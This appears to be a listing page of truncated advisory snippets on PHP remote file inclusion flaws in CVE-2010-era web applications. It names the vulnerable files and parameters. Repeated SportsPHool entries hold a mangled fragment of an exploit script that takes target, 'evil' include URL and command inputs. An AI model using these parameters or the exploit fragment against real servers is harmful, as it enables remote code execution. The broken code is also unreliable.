CVE-2010-5040

PHP remote file inclusion vulnerability in nucleus/plugins/NPgallery.php in the NPGallery plugin 0.94 for Nucleus allows remote attackers to execute arbitrary PHP code via a URL in the DIRNUCLEUS parameter. NOTE: some of these details are obtained from third party information...

CVE-2010-5040

The CVE-2010-5040 entry describes a PHP remote file inclusion in the NP_Gallery plugin (NP_gallery.php) for Nucleus CMS, version 0.94. The vulnerability arises from the DIR_NUCLEUS parameter allowing an attacker to supply a URL and execute arbitrary PHP code on the affected system. The available ...

CVE-2010-5038

The CVE-2010-5038 entry describes a PHP remote file inclusion vulnerability in Groone’s Simple Contact Form, specifically in contact/contact.php. The issue allows an attacker to cause arbitrary PHP code execution by supplying a malicious URL in the abspath parameter. Affected software component: ...

CVE-2010-4998

CVE-2010-4998 affects the ardeaCore PHP Framework 2.2. A PHP remote file inclusion flaw in ardeaCore/lib/core/ardeaInit.php allows an attacker to execute arbitrary PHP code via a URL supplied to the pathForArdeaCore parameter. NVD records a base CVSS v2 score of 7.5 (HIGH) with network access and...

CVE-2010-5038

PHP remote file inclusion vulnerability in contact/contact.php in Groone's Simple Contact Form allows remote attackers to execute arbitrary PHP code via a URL in the abspath parameter...

CVE-2010-4998

PHP remote file inclusion vulnerability in ardeaCore/lib/core/ardeaInit.php in ardeaCore PHP Framework 2.2 allows remote attackers to execute arbitrary PHP code via a URL in the pathForArdeaCore parameter. NOTE: some of these details are obtained from third party information...

Remote file inclusion

PHP remote file inclusion vulnerability in modchatting/themes/default/header.php in Family Connections Who is Chatting 2.2.3 allows remote attackers to execute arbitrary PHP code via a URL in the TMPLpath parameter...

CVE-2010-4988

CVE-2010-4988 describes a PHP remote file inclusion vulnerability in Family Connections Who is Chatting 2.2.3, specifically in mod_chatting/themes/default/header.php where TMPL[path] can be controlled to include remote PHP code. The underlying issue enables an attacker to execute arbitrary PHP vi...

vBulletin 4.1.7 Beta 1 Remote File Inclusion

==================================================== vBulletin® Version 4.1.7 Beta 1 Mullti Vulnerability ==================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=0 0 . .--. .--. .---. . 1 1 .'| / | 0 0 | --: --: / .-.| .-. . . 1 1 | / | | | 0 0...

SportsPHool 1.0 - Remote File Inclusion

" ."target:" ."evil:" ."cmd:" ."" .""; if !isset$POST'submit' echo $form; else $file = fopen "test.txt", "w+"; fwrite$file, ""; fclose$file; $file = fopen $target.$evil, "r"; if !$file echo "Unable to get output.\n"; exit; echo $form; while !feof $file $line .= fgets $file, 1024.""; $tpos1 =...

Sports PHool 1.0 Remote File Inclusion

" ."target:" ."evil:" ."cmd:" ."" .""; if !isset$POST'submit' echo $form; else $file = fopen "test.txt", "w+"; fwrite$file, ""; fclose$file; $file = fopen $target.$evil, "r"; if !$file echo "Unable to get output.\n"; exit; echo $form; while !feof $file $line .= fgets $file, 1024.""; $tpos1 =...

SportsPHool 1.0 - Remote File Inclusion

SportsPHool 1.0 - Remote File Inclusion " ."target:" ."evil:" ."cmd:" ."" .""; if !isset$POST'submit' echo $form; else $file = fopen "test.txt", "w+"; fwrite$file, ""; fclose$file; $file = fopen $target.$evil, "r"; if !$file echo "Unable to get output.\n"; exit; echo $form; while !feof $file $lin...

Wordpress Mailing List 1.3.2远程文件包含漏洞

Wordpress Mailing List是基于开源电子邮件管理器phplist的邮寄目录插件。 Wordpress Mailing List 1.3.2在实现上存在远程文件包含漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。 WordPress Zingiri Web Shop 2.2.0 厂商补丁： WordPress --------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://wordpress.org/ --- PoC ---...

FreeBSD : PivotX -- Remote File Inclusion Vulnerability of TimThumb (e454ca2f-f88d-11e0-b566-00163e01a509)

The PivotX team reports : TimThumb domain name security bypass and insecure cache handling. PivotX before 2.3.0 includes a vulnerable version of TimThumb. If you are still running PivotX 2.2.6, you might be vulnerable to a security exploit, that was patched previously. Version 2.3.0 doesn't have...

2Moons 1.4 Remote File Inclusion

============================== 2Moons v1.4 RFI Vulnerability ============================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=0 0 . .--. .--. .---. . 1 1 .'| / | 0 0 | --: --: / .-.| .-. . . 1 1 | / | | | 0 0 '---' --' --' ' -'--'---| 1 1 ; 0 0 Site : 1337day.com -' 1 1 Suppor...

2Moons 1.4 - Multiple Remote File Inclusions

source: https://www.securityfocus.com/bid/50046/info 2Moons is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input. Exploiting these issues may allow a remote attacker to obtain sensitive information or execute arbitrary...

2Moons 1.4 - Multiple Remote File Inclusions

2Moons 1.4 - Multiple Remote File Inclusions source: https://www.securityfocus.com/bid/50046/info 2Moons is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input. Exploiting these issues may allow a remote attacker to obta...

CVE-2010-4943

Multiple PHP remote file inclusion vulnerabilities in Saurus CMS 4.7.0 allow remote attackers to execute arbitrary PHP code via a URL in the classpath parameter to 1 file.php or 2 comdel.php...

CVE-2010-4948

PHP remote file inclusion vulnerability in libs/adodb/adodb.inc.php in PHP Free Photo Gallery script allows remote attackers to execute arbitrary PHP code via a URL in the path parameter...

Remote file inclusion

PHP remote file inclusion vulnerability in logic/controller.class.php in clearBudget 0.9.8 allows remote attackers to execute arbitrary PHP code via a URL in the actionPath parameter. NOTE: this issue has been disputed by a reliable third party...